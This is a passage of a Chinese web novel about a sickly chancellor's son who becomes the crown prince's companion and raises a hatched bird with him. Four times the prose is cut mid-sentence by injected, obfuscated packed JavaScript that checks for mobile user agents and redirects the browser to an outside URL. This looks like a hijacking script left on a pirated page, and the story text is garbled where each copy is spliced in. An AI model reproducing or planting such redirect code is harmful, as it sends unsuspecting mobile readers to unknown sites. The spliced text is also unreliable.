“实话和你说吧,朕是拿阿辞那孩子的怪病束手无策了,钦天监所言阿黎与阿辞的八字相契合,只要两个孩子待在一起,他们的病情就能缓解,对他们而言都好,你也希望阿黎能够健健康康的吧。” “陛下,臣从不信天象之说。”温书礼态度坚决。 “你瞧瞧给朕咬的,这都三年了,还没有消下去呢。”闻言殷又站起来冲到了温书礼面前,撸起袖子给他看,赫然一个牙印,可见咬得有多深。 温书礼蹙了蹙眉头,一个成年人尚且都能被咬这么深一个口子,若是日后发起病来咬在阿黎身上,该有多痛啊。 可温书礼还是不为所动,只是别过脸去,闻言殷是实在是没办法了,“咱们自小是一同长大的,你我之间的情分非比寻常,朕不愿逼迫你,可朕只有一个孩子,衍朝也只有一个太子,你只当是为了朕,可好?” *** 温书礼掀开纱幔,惊讶地发现闻辞也在这里,两个小人儿已经窝在一起睡着了,睡得十分香甜,脸色都是红扑扑的。 自家小孩睡得板板正正,反观闻辞横七竖八地躺着,一条腿都压在温黎的大腿上,一点儿规矩都没有,温书礼面露嫌弃,别给阿黎压坏了。 于是想将闻辞抱到另一边的小榻上去,然而刚抱起他才发现闻辞的手紧紧地握着温黎,他这么一动,闻辞没醒,温黎倒是醒了。 温黎睡眼惺忪着,揉了揉眼睛就看见了阿爹,露出了一个笑容,糯声糯气地喊着,“阿爹,你回来啦。” 这样的小糯米团子任谁见了都喜欢啊,温书礼立刻将闻辞放下,尽量地放远一些,摸了摸温黎的脸,轻声细语道:“你感觉怎么样了?” “睡了一觉之后我感觉轻松了很多,头也不晕了。” 手心里的温度确实已经恢复了正常,没有那么的烫了,温黎的状态看起来也好了不少,脸色红润了一些。 不知为何温书礼忽然想到了闻言殷的话,两个孩子待在一起是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433055|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相辅相成的,若是真的对温黎的病情也有成效的话,他的孩子是不是就不用受那么多苦楚了。 温书礼回过神来,不禁想嘲笑自己,他向来是不信任何怪力乱神之言,可在孩子一事上竟然不可控制地想到了这一点。 “和太子相处和谐吗?他有没有欺负你?”温书礼往旁边瞥了一眼呼呼大睡的闻辞,怕他着凉了还掀起被子一角给他盖了个肚肚。 “没有哦,他是个好人。” 温书礼忍俊不禁,六岁的小人儿哪里能分得清好人就是坏人,“那你愿意和他做朋友吗?” “阿黎没有朋友……”温黎揪了揪被子,脸上露出了失落的神色,他从来没有出过门,他的身体不适合去跑去跳,家里也没有同龄的小朋友可以一起玩耍,所以心里很渴望朋友。 “那阿黎要不要待在这里,和太子交朋友,做太子殿下的伴读?” 温黎小小的脑袋瓜子在仔细地思考这件事情,终于他想到了不对劲地方,“那阿爹呢?阿爹和我一起吗?” “阿爹不能在这里。” 温黎秀气的眉毛都拧在了一起,一把甩开了闻辞紧握着的手抱住了温书礼,泪眼汪汪地摇了摇头,“不可以,我不要交朋友了。” “可是阿黎会孤单的。”温书礼轻柔地摸了摸温黎的脑袋,心中十分不舍。 温黎才不懂什么是孤单呢,只是不要和阿爹分开,“我要陪着阿爹。” 温书礼心疼坏了,可比起陪在身边,他更在意温黎的健康,“其实是太子殿下生病了。” “跟阿黎一样吗?”温黎眨巴眨巴着水汪汪的大眼睛,眼睫上还挂着小珍珠。 “嗯。” “生病会很难受的。”温黎开始同情起了闻辞,因为自己能与他感同身受。 “那阿黎要不要帮帮他,你刚刚不是说他是好人吗?好人不能让他痛苦的。” 小孩子哪有那么多的弯弯绕绕,善良的小黎是很容易就心软的,“我待在这里他就会好吗?” “嗯,会好的。” “那阿黎要帮他,古人云救人一命胜造七级浮屠,阿黎也不希望他和阿黎一样痛苦。” 善心与懂事的温黎让温书礼越发的舍不得,开始让他后悔自己的决定,于是又补充道:“不过他的病很特殊,会打人,打得很痛很痛。”他满怀期许,希望温黎可以拒绝。 温黎抿了抿嘴唇,似乎再认真思考着这件事,而后下定了决心,“没关系,阿黎可以。” 可是小小的温黎不知道这帮助的背后意味着什么。 *** 出了东宫,温书礼就去了皇帝的长生殿。 “陛下,就钦天监所言之事,臣愿意一试。” 闻言殷又惊又喜,批阅奏折的毛笔都来不及穿就跑到了温书礼面前,满眼放光,“你当真愿意!” “嗯,但阿黎是臣唯一的儿子,亦是臣的宝贝,臣不愿阿黎受伤害受委屈。” 闻言殷用力地拍了拍胸脯,做出承诺,“朕向你保证定不会让阿黎受一丁点地伤害,朕也很疼爱阿黎,若是可以,朕宁愿用太子换阿黎。” 谁不想要乖巧漂亮又软乎乎的小孩子,温黎简直是梦中情孩啊,再看看自家那个混不吝,要不是亲生的,早就……算了! “陛下言重了。” 闻言殷恨不得跳起来舞一段,嘴皮子都包不住白花花的牙花子,整个人都眉飞色舞的,“不言重!不言重!若是那臭小子敢欺负阿黎,朕就把他吊起打!” 5. 第 5 章 闻辞这一觉睡得特别的香甜,砸吧了两下嘴巴才醒了过来,十分满足地伸了一个懒腰,在床上滚了一圈就滚到了温黎面前,抬头一看。 好家伙,温黎又在掉小金豆子了,一脸委屈巴巴的样子看着他。 吓得闻辞一个鲤鱼打挺就坐了起来,瞌睡虫已经全部跑掉了,跪在温黎的面前凑过来瞧着,“小哭包,你怎么又哭了,谁惹你了?” 温黎吸了吸鼻子,用力地用衣袖把眼泪都擦掉了,倔强道:“我才没哭呢,就是眼睛疼揉了揉。” “那我给你吹一吹?”说着就想凑过去。 然而温黎气鼓鼓地将被子一卷,把自己包裹成了粽子,闷在被窝里,闷闷道:“我不要,我要睡觉了。” “你不是刚刚睡了嘛?”闻辞扯了扯被角,想让温黎理理自己。 “我被你吵醒了。” “啊?我没吵啊。” 温黎彻底不说话了,他也觉得没趣儿了,“好吧,我不说话了,我去给你找点东西吃。” 等闻辞走了,温黎才从被窝里探出了一颗毛茸茸的小脑袋,憋屈地努了努嘴巴,又蒙了起来。 闻辞刚跑出大殿就被德福团吧团吧带去了闻言殷面前,虎着张脸,双手环抱,一脸不悦的模样,像个酷酷的小大人,不过他现在还生着气呢。 闻言殷蹲在他面前揉了揉他的小脑袋,轻声细语着,“父皇跟你道歉,之前不该还没搞清楚状况就责备你。” “我本来就没有做错。”闻辞的双手放了下来,又揉了揉鼻子,“哼哼哼”地说着。 “父皇看得出来你挺喜欢阿黎那孩子的,所以父皇让他来给你做伴读。” “真哒!”闻辞的双眸陡然一亮,而后又故作深沉、心口不一道:“真是麻烦,他就是一个小豆丁。” 闻言殷看穿了这个小人精,没好意思揭穿他,“你比阿黎年长几岁,是哥哥,做哥哥要有哥哥的样子,替父皇和温相照顾一二。” 闻辞不受控制地翘了翘嘴角,又怕被人看出来就努力地压制了,最后变成了一个古怪的表情,把一旁的德福看得一愣一愣的,还以为自家小殿下要变异了。 “你都这么说了,那我就勉为其难地照顾他一下吧。”闻辞摆了摆手。 “好好好,”闻言殷忍俊不禁,委以重任一般地拍了拍闻辞的肩膀,叮嘱道:“那你可得照顾好了,不许欺负他。” “谁要欺负小哭包啊,哭了还得哄呢。”闻辞嘴上好像不耐烦地嘟囔了两句,但脸上的雀跃已经完全出卖了他。 闻言殷与德福对视了一眼,都忍住了想笑的冲动。 闻辞屁颠屁颠地跑回了自己的宫殿,怀里揣着一堆好吃的,高兴得恨不得都要跳起来了,与温黎的多愁善感形成了强烈的对比。 鉴于温黎的身体不好,脾胃不佳,膳食都是大夫搭配好的,吃不了闻辞拿来的点心。 温黎瞧出闻辞有些失落,于是掰了一小块甜糕下来尝了尝,笑道:“很甜,谢谢你。” 闻辞被温黎好看的笑容晃了一下眼,自己的脸色都微微地红了起来,骄傲得恨不得都要把尾巴翘起来了。 德福盯着温黎吃完了晚饭,在纸上一一记录了吃了多少口,吃了什么菜等等,事无巨细,这些到时候都是要呈上去给陛下与右相看的,然后饭后一个时辰后喝药。 温黎皱着眉头吹了吹汤药,正准备喝的时候,漂亮的眼珠子落在了直勾勾盯着他看的闻辞身上,歪着脑袋疑惑道:“你怎么不喝药?” “我为什么要喝?”闻辞感觉一阵奇怪。 “因为你生病了啊,所以我在这里陪你,你要是乖乖的,病好了,我就可以回家啦。”温黎耐心地解释着, “我才没有……”闻辞张口就要否认,可仔细想了想又立刻改变了想法,捂着自己的头,表现出很痛苦的样子,虚弱道:“我是病了,可严重了,只有阿黎才能帮我。” “那你快喝药吧!”温黎吓得连忙把药碗推了过去,着急忙慌地让他喝。 闻辞不疑有他,忍着苦味儿就要往嘴里送,被一旁看热闹不嫌事大的德福抢了勺子,连忙道:“哎呦,小公子,这药可不能乱喝,得对症啊。” “那他的病可怎么办呀?”温黎歪着脑袋,眨巴眨巴着水汪汪的大眼睛,又好奇又担忧地看着德福。 脑子还没转过弯的闻辞也一同看向德福,“对啊,我也得喝药的。” 德福一时有些无语地看着闻辞,心里无声呐喊:我的小祖宗呦,你什么时候吃过药了! 小时候哪一次喝药不和打仗一样,硬的软的都不行,哪怕是陛下来了硬灌进去还能吐人一脸呢,哄着骗着喝进去还能呕出来呢,这次倒是因为小公子的一两句话就被说服了,甚至还主动要药喝,可真是…… 一物降一物啊。 “咱们一切听院判的。”德福笑道。 晚上,闻辞洗得香香的,吧嗒吧嗒地掀开纱幔跑到了温黎床前。 温黎看着麻溜爬上床的闻辞,疑惑道:“你也要睡这里吗?” “对啊,这是我的床,因为你在这儿我好几天都睡在偏殿。”闻辞“嘿咻”一下钻进了被窝,眼睛眨巴眨巴着地盯着温黎看。 “那我去睡偏殿。”温黎没有和别人同床共枕的习惯,当即就要离开。 闻辞一把抓住了温黎的衣袖,着急忙慌着,“你不许去,我们要睡一起的。” “为什么我们要睡在一起?” “你年纪小,我是哥哥,父皇说了要好好照顾你,我们睡在一起才能更好地照顾啊,而且我生病了,你不是说要陪我的吗?” 温黎转了转自己的小脑袋瓜子,倏地灵光一现,好像真是这样耶,于是又躺了回去,轻轻地拍了拍闻辞的胸口,像是哄小孩一样奶声奶气道:“那你要乖乖的哦。” 见两人还算和平共处着,德福稍稍地松了一口气,将他们的被角掩好了,退了出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433056|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烛火熄灭了,殿内陷入了一片黑暗,前两天都昏睡着没什么感觉,可轻松温黎是有些害怕的。 在家时都是阿爹哄着他睡觉,给他将故事给他唱摇篮曲,一想到阿爹不在身边,温黎又有些难过了,眼圈红了红,可是他有一个艰巨的任务,要坚强,不可以哭。 于是温黎闭上了眼睛,眼前也陷入了一片黑暗,脑海不断冒出了那些吓唬小孩的故事,连忙把手都躲进了被子里,这样鬼就不会抓他啦。 温黎的情绪好不容易平静了下来,忽然有个什么东西抓住了他的手,暖和和的,跟火炉一样,他吓得尖叫了起来。 闻辞吓了一大跳,一个鲤鱼打挺就坐了起来,四处张望着,一副准备战斗的姿态,“咋啦咋啦!” 在门外守着的德福也冲了进来,点燃了烛火,凑进去一看,温小公子一脸惶恐与害怕的模样,眼圈红红的,好像下一刻泪水就要夺眶而出了。 温黎害怕地都忘记掉眼泪珠子了,抖着嘴唇,“有……有东西抓我的手……” 德福举着烛台凑过来一瞧,发现是自家小殿下的手,顿时哭笑不得,“小公子您瞧瞧,是我们殿下呢。” 温黎顺着烛光看了过去,又看了看一脸懵的闻辞,委屈巴巴地咬了咬嘴唇,“你……你别吓唬我。” “我没有吓你,鬼是冷的,我是热的哦,”回过神来的闻辞紧紧地握住了温黎的手,让他感受着自己的温度,“我牵着你,你别怕,要是有鬼来,我就打跑他!” 温黎吸了一下鼻子,用力地点了点头,然后又重新睡了下来。 知道那是闻辞的手后,温黎就安心了许多,对着黑暗也不是特别害怕了,就像是阿爹握着他的手一样。 “阿黎,你身上有味道。”闻辞往温黎这边凑了凑。 这两天住在东宫,他的衣裳都没有熏香,有的只有药味,温黎不喜欢被别人闻到自己身上的药味。 温黎往里头躲了躲,把自己的下半张脸都遮盖了起来,闷闷道:“是药的味道。” “不是,是香味哦。”闻辞像小狗一样趴在温黎的颈间嗅了嗅,是桂花的味道,但是十分浅淡,不仔细闻是闻不到的。 没有香味,明明就是药味。 温黎觉得闻辞是故意这样说的,不想理他了,于是挠了挠痒兮兮的脖子就别过脸去,整张脸都蒙在被子里。 “你这样不会闷坏吗?”闻辞轻轻地扯了扯被角,想让温黎的小脑袋钻出来,多呼吸一下新鲜空气。 “不会,我要睡觉了,不许说话了,谁再说话谁就是小狗。” 温黎死死地拽着被子,憋着一股劲儿,他是病人耶,要好好休息的,不想和闻辞说话了。 闻辞莫名其妙地来了兴致,支起半个身子,晃了晃温黎的肩膀,“小狗也挺好的,小狗多可爱啊,你不是很喜欢小狗的呢,我变成小狗了你会喜欢我吗?” 温黎一把捂住了闻辞的嘴巴,“睡觉睡觉睡觉!” 6. 第 6 章 温书礼身为太子师,除了每日上朝以外,大多数时间都是待在东宫教导太子的课业,若是运气好碰上太子发病的时候就可以收拾收拾东西回家陪陪宝贝儿子了。 但现在温书礼爱上了给太子上课这件事,因为能够时时刻刻看见他的宝贝阿黎,还能和宝贝一起吃个午饭。 自家的娃乖巧文静地坐着,一本正经地读着书,声音奶声奶气,宛转悠扬,而皇帝家的娃坐得横七竖八,书本放得歪歪扭扭,读起书来很是懒散,跟几天没有吃饭一样,教多少遍都教不会规规矩矩。 温书礼的眉心跳了跳,但为了在自家宝贝面前树立一个完美的父亲形象,忍了。 然而自家小崽子没能忍得了,侧头过去小声道:“阿辞,你乖一点,好好读书,要坐直了,像我一样。” 闻辞把岔开的腿收了回来,学着温黎的样子坐得板正起来,读书声音也好了许多。 温书礼:“……” 不对劲,怎么忽然这么听话了。 课结束之后,温书礼将温黎抱到了一边去,摸了摸他的小手,又摸了摸他的小脸,恨不得要将他浑身上下都检查一遍,发现他脸色红润了,精气神好多了,连个子都好像高了一些。 但还是不放心地问道:“这两日与太子殿下待在一起,他有没有欺负你?” “没有哦。” “有没有打你?” “没有哦。” “真的没有吗?” “真的没有哦。”温黎吃着阿爹做的点心,一双漂亮的大眼睛直溜溜地盯着阿爹看,“阿爹,为何你每次见我都要这么问呢,阿辞又不是坏人,怎么会打我呢。” 温书礼松了一口气,轻柔地把温黎嘴上的点心屑擦掉,“没有就好,下次阿爹不问了。” “阿爹,你别担心,等阿辞的病好了,我就回家。”温黎亲了亲温书礼的脸颊,甜甜的糕点味都沾在了他脸上,“他最近都有乖乖地喝药哦,我觉得他很快就会好啦。” 温书礼觉得自己像个盼儿归来的留守老人一样,忍不住都想哭唧唧了。 等等,喝药?那个小魔王在喝药?没把药碗扬了吗? 前两日,德福找院判给闻辞把脉,最后开了些温补降火的药。 闻辞一脸嫌弃地看着黑乎乎的药,气味浓郁且苦涩,他苦吧着小脸儿,用舌尖轻轻地舔了一下,苦得恨不得把胆汁都要呕出来了,麻溜地躲得远远的,摆了摆手,驱散着味道,“这……这是人喝的药吗!也太苦了,怎么喝的下去啊!我不喝了!” 温黎看了看自己手里药,秀气的小眉头都拧在了一起,这味道并不比闻辞的好到哪儿去,可是他都好好地喝掉了呢,“良药苦口,我的药也很苦的,但是为了身体健康一定要喝。” “阿黎啊,我感觉我好很多了,不用喝药了。”闻辞实在是难以下咽,都拧紧了鼻子了。 温黎的眼睛亮了亮,连忙站起身,“真的吗?那我可以回家啦!” “不不不,也没那么好,”闻辞一把拉住了温黎,他只是不想喝药,可一点都不想温黎离开,为了不让他离开又只能喝药,这就是一个死循环嘛。 但闻辞还是硬着头皮将药一饮而尽,然后受不住地捂着嘴跑了出去吐了个酣畅淋漓,可把一直乖乖喝药的温黎看傻了。 毕竟是从小宠到大的小娃娃,德福也是心疼得紧,最终找到了院判,让他稍微改了改药方,不要那么的苦,闻辞这才好入口,没有再吐过了。 *** 今年的第一场春雨如约而至,淅淅沥沥地下着,如密织地一张大网,网住一方天地,滋润着万物。 温黎百无聊赖地趴在窗台上看着雨景,手里的是永远也解不开的九连环。 耳边传来了闻辞催促的声音,“阿黎阿黎,你怎么在发呆啊,你的棋子快被我吃掉啦!” 温黎的注意力回到了棋局上,他的白子快被黑子堵死了,于是思考了一瞬,落下了一子,棋局立刻反败为胜。 闻辞彻底傻眼了,斗志被激了起来,“再来再来!” 温黎还是会有一下没一下盯着窗外看,终于被闻辞发现了端倪,“你是不是想出去玩啊?但现在是下雨天,等天气好了,我带你去掏鸟蛋,可有意思了。” “好啊。”温黎这才高兴了起来。 在家时,温黎总是大门不出二门不迈,他的世界就只有自己院子那么大的四方小天地,他很想出去玩,出去到处看看,不想永远被拘在家中。 微风吹了进来,虽有点点雨水,但也驱散了心中的烦闷。 一场春雨来得快,去得也快,第二日便雨过天晴,还挂着漂亮的彩虹,一派清新自然的景象。 闻辞依言带温黎出去掏鸟蛋,像只窜天猴一样一跃而上,但温黎不会爬树,只能规规矩矩地坐在德福放的小凳子上看着。 忽然,一颗鸟蛋掉了下来,直接砸在了温黎的衣服上,还好衣服又厚又软,蛋壳没有破掉。 这是温黎第一次见到鸟蛋,小小的、凉凉的一颗,很是袖珍可爱。 闻辞跳了下来,“奇怪了,怎么就一颗蛋了。”他盯着被温黎捧在手里鸟蛋看,忽然小鸟蛋动了一下。 “它动了!”温黎惊呼道。 德福凑过来一瞧,笑道:“里面有鸟宝宝。” 闻辞轻轻地戳了戳鸟蛋,“鸟宝宝为什么在蛋里?” “小鸟都是从蛋里出来的。” “阿黎也是从蛋里出来的吗?” 德福笑眯眯地道:“小公子是小公子的娘亲生的。” “阿黎的娘亲是蛋?”闻辞惊讶。 “不是,是人。”德福汗颜。 “阿黎的肚子里也有小鸟吗?”温黎摸了摸自己的小肚子,一脸期待。 “呃,人的肚子里没有小鸟。” “那我的肚子里有什么?” 闻辞着温黎的小肚肚,灵光一现,“笨蛋,当然是甜糕啦,你刚刚不是还吃了两块。” “对哦。” 见两人终于不问了,德福才擦了擦额间的汗,幸好是没问鸟蛋是从哪儿来的,不然让他一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433057|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没蛋的老太监怎么回答。 温黎把鸟蛋当成宝贝一样揣在怀里,连睡觉都要带着,还给它盖上了小毛毯,叮嘱着闻辞不能压到它。 两个小人儿趴在床上,眼睛一眨不眨地盯着小鸟蛋看,“它什么时候能出来?” “公公说快了。”温黎翘着两只小脚轻轻地晃着。 闻辞想到了一个重要的问题,“那我们是不是它的阿爹阿娘?” “蓼蓼者莪,匪莪伊蒿。哀哀父母,生我劬劳。蓼蓼者莪,匪莪伊蔚。哀哀父母,生我劳瘁。虽然不是我们生的,但是我们辛苦地养大的,那我们就是它的阿爹阿娘了。” 温黎念了一大段对于闻辞来说像鸟语的话,搞不明白,只知道他们就是爹娘,不过…… “谁是爹,谁是娘呢?” 温黎盘腿坐了起来,仔细地想了想,“我照顾宝宝,当然我是阿娘,你负责给宝宝找吃的,你是阿爹!” “好!”闻辞猛地拍了拍胸脯,肩负起了成为父亲的重任,“等宝宝出来了,我就把所有好吃的都给它!” 两个小崽子明确分工,畅想着美好未来,等鸟宝宝出来了,就可以拥有一切。 这时候小鸟蛋又动了一下,闻辞忍不住伸手戳了戳,被温黎一把拿开,“不要碰它,万一碰坏了呢。” “我们的宝宝肯定得强壮些,才不会那么容易坏呢,等它出生了,我要把它培养成大力士、大将军!”说着,闻辞在床上耍了两下子。 温黎觉得太粗鲁了,一口回绝,“才不要呢,它要跟着我读书,将来要考取功名,像我阿爹一样知书达礼温文尔雅。” 闻辞想起了温书礼那古板威严的样子,连忙摇头,“不行不行,不可以那样。” “为什么不可以,”温黎不乐意了,把小鸟蛋连同小毯子一起拿了起来,“是我照顾宝宝,我说了算。” 闻辞不服气,想要过去抢,“那我还给宝宝找吃的呢。” 两个小大人在“孩子”的教育上出现了分歧,争论不休吵吵嚷嚷,最后也没个结果把德福叫了进来。 “公公你说,宝宝应该听谁的?”温黎气鼓鼓地问德福。 “这个这个,那个那个,”德福简直是一头两个大,忽然想到了什么,猛地一拍手,“哎呀,天色不早,宝宝要睡觉了,不然就不能好好地长大了。” “对哦,睡觉睡觉。”温黎把鸟蛋又小心翼翼地放在了软枕上,盖好了小毛毯,像阿爹哄自己一样轻哼着歌谣哄它睡觉,“小娃娃,铃铃铃,骑大马,跨过高山好归家,哇哇哇,睡好觉,健健康康快长大……” 鸟宝宝睡没睡着温黎不知道,但闻辞被哄着睡着了,渐渐地自己也睡了过去,做了个一家三口的美梦。 然而第二天醒来,蛋壳破了,美梦破碎了。 闻辞是被哭声吵醒的,一睁眼就瞧见温黎哭得伤心难过得很,小鼻子小脸儿都红彤彤,手心里还捧着一颗碎掉的蛋壳。 “你……你把鸟宝宝压坏了,呜呜呜……”温黎“吧嗒吧嗒”地掉着眼泪珠子。 7. 第 7 章 闻辞如遭雷劈,头脑风暴着究竟是不是自己睡着了没注意把鸟宝宝给压死了,他顿时手忙脚乱,一边要去哄温黎,一边还在床上到处翻腾,想找找鸟宝宝究竟被压到哪儿去。 可温黎的哭声越来越大,越来越伤心了,泪眼朦胧着,豆大的泪珠从眼角滑落,腮帮子上都挂满湿漉漉的泪痕,小脸儿红扑扑的,抽抽搭搭着,“我要鸟宝宝……” “不哭不哭,对不起,是我不好,我……我重新抓一只回来给我们当宝宝……”闻辞慌张得不知该如何是好,只能想不到补偿,“我给你学小鸟跳支舞吧!” 可是温黎的哭声更大了,他只想要这只鸟宝宝,其他的根本就不是他们的宝宝,“呜呜呜,你是坏蛋。” “我不是坏蛋,不是!我……我……”闻辞更加着急了,可什么话都解释不出来,脸色憋得通红。 德福听到了动静,着急忙慌地跑了过来,打开了一个通风的小盒子,“鸟宝宝在这儿呢,老奴刚刚带出去喂了点羊奶。” 温黎霎时间便止了哭声,用袖子揉了揉眼睛,跟闻辞一起凑过去,一只光秃秃又丑兮兮的鸟宝宝正在费劲地翻腾。 闻辞努了努嘴巴,对这个丑宝宝不是很满意,他认为阿娘长得那么漂亮,阿爹又十分帅气,这么可以有这样的宝宝,于是道:“咱们重新养一个吧,这也太丑了。” 温黎表情认真又严肃,“不可以,丑宝宝也是宝宝啊,不能因为它丑就不养它。” 德福简直是哭笑不得,安慰着一脸不高兴又不敢说什么的闻辞,“鸟宝宝小时候都不好看,等它羽毛长出来就漂亮了。” “真的吗?”闻辞看着光秃秃的小丑鸟,很难想象它以后会变得很漂亮。 “真的啦,小殿下别担心。”德福将小盒子放在了闻辞的手心里,让“初为人父”的小殿下好好和自己的“宝宝”相处相处,然后自己就退下去了为他们准备早膳了。 温黎看了看鸟宝宝,又看了看闻辞,真诚道:“刚刚对不起,我不该说你是坏蛋,是我误会了你,你可以原谅我吗?”他伸出手,声音闷闷的,脸上还有刚刚哭过的痕迹,双眼红红的,跟抹了胭脂一样。 “啊?”闻辞的视线从丑兮兮的“宝宝”身上离开,落在了瓷娃娃的脸上,然后红着脸握住了温黎的手,“哦,没关系。” 冰释前嫌的两个小娃娃,双手捧着鸟宝宝,担负起了为人父母的重任。 “我们要给它取个名字。”温黎提议。 闻辞仔细想了想,“叫‘啾啾’吧,它老是叫个不停。” “好,小啾啾!” 啾啾又连叫了好几声,似乎在回应它很喜欢这个名字。 书院内。 看着自家乖崽和太子殿下旁若无人地过家家,一向端正持重的温书礼嘴角不禁抽搐了两下。 “宝宝,阿爹今天给你带了走马灯哦,阿爹亲手做的呢。”温书礼使出浑身解数,吸引着自家乖崽的注意力。 然而温黎连个眼神都没有给,紧紧地盯着闻辞给鸟宝宝喂奶,但闻辞总是把握不好力度,奶.水都浇到小雏鸟脸上了,“你不能太用力,它会受伤的。” 换成温黎来做,闻辞也紧张地要命,“哎呀哎呀,你揪到它的小羽毛啦,好不容易长出来的。” 吸引注意力失败的温书礼一脸挫败,拿着走马灯缩在墙角弱小可怜又无助。 两个小娃娃根本就照顾不好小“宝宝”,都垂头丧气着,还伴随着一两声有气无力地“啾啾”声。 温黎终于想起来他的老父亲,捧着小雏鸟,可怜巴巴地看着他,糯声糯气地道:“阿爹,我喂不好。” 温书礼的心都被萌化了,他向来对自家宝贝眼珠子的要求有求必应,他可是一个身经百战的奶爸,小阿黎都是自己奶大的,何况一只小鸟,那不是手到擒来! 于是一手托着小雏鸟,一手沾了些羊奶,控制好力度送到了它嘴边,羊奶顺着手指一点点流了进去,小啾啾终于不叫了。 “哇,阿爹好厉害啊。”温黎眼睛亮晶晶地,充满了崇拜。 “哇,老师好厉害。”闻辞眼睛一眨不眨地盯着,好像在学习技巧。 而听取夸声一片的温书礼直接被钓成了翘嘴,再一次树立了伟大的父亲形象。 “我觉得我会了,我来喂!”闻辞一把抢走了小雏鸟,温黎的注意力又被吸引了过去,打碎了温书礼光辉的形象,直接石化。 他们不厌其烦地扮家家酒,一连好几天都是兴致冲冲的模样,直到有一日夜晚再次被吵醒。 温黎艰难地爬了起来,揉了揉惺忪的睡眼,精神有些不大好,看着扯着嗓子叫的啾啾,软软道:“小啾啾真的好吵,我都要睡不着了。” 闻辞带着被吵醒的不耐烦,粗声粗气着,“我要把它的嘴巴堵起来。”说着就要动手去捂它的嘴巴。 还好温黎尚存一些理智,阻止了他的行为,“不行,它会憋死的。” 闻辞烦躁地抓了抓脑袋,也扯着嗓子喊了起来,“德福!” 兴奋劲过了的小“夫夫”把羽翼未丰的宝宝丢给了年迈的老人——德福,而他们自己双双美美地进入了梦乡。 德福看着“啾啾”叫个不停的小主子一脸生无可恋。 不要欺负老年人啊,喂! 啾啾在德福细心地照顾下长出了不少浅黄色的羽毛,能够辨认出来是牡丹鹦鹉的品种,而做了甩手掌柜的小“夫夫”俩彻底将鸟宝宝抛之脑后。 到了春季总是会下雨,地面很是潮湿,不能出门的两个小娃娃终于想起来他们还有一个宝贝啾啾的事情。 于是又围在一起看着它,羽毛由金黄到浅黄过渡,冠顶呈亮红色,尾部点缀着翠色,眼睛圆溜溜的,眼尾勾勒出眼线,像只玄鸟。 温黎感叹道:“它长得真漂亮。” 闻辞附和着点了点头,“他长得和阿黎好像。” 圆圆的眼睛,漂亮的皮肤,小小的脸蛋,在闻辞眼中简直是和温黎一模一样。 “嗯,我是他阿娘嘛。”温黎用小手指轻轻地摸了摸小鸟的毛。 “那为什么不像我呢?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433058|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明是阿爹呀。”闻辞有些不乐意了。 一旁的德福生怕大战一触即发,立刻道:“也像的,你看看矫健的身手,一看就是殿下您的哇。”他轻轻地拍了拍啾啾的小屁股,然后就翻了一个跟头,十分不得了的模样。 但谁都没想到,啾啾忽然从窗户飞了出去,温黎与闻辞连忙追了出去,后面还跟着一群太监宫女,东宫里里外外上演了一顿抓鸟活动。 啾啾虽小,体力却强大得很,一口气飞了快一炷香的时间,把众人都累得气喘吁吁的,它站在百子莲上“啾啾啾”地叫着,好像在嘲笑他们一样。 温黎悄悄地绕到了百子莲的后面,慢慢地靠近,然后猛地一扑,谁知道脚下没有注意,被一个小石子绊了一跤,“啪叽”一下子摔进了草地里。 刚下了一场雨的草地黏腻潮湿,但也十分松软,所以温黎没有摔疼也没有受伤,只是衣裳滚了一身泥。 闻辞想过来把温黎扶起来,谁知道踩在湿滑的草地上怎么站稳,直接滑了一下,整个人重心不稳栽进了土里,脑袋上都是烂泥。 两个人小人儿成了泥猴子了,啾啾停留在了闻辞的脑袋上,双目相对着傻乐。 倒是把随侍的人吓得半死,各自抱起自家的小主子就往殿内冲。 闻辞觉得好玩儿,甩了甩手上的泥巴,粘的到处都是,连脸上都落了点泥点子。 温黎爱干净,总是保持着洁净,一点点脏都受不了,直到手上的泥巴都快干了也不敢动一下,生怕像闻辞那样甩到脸上去。 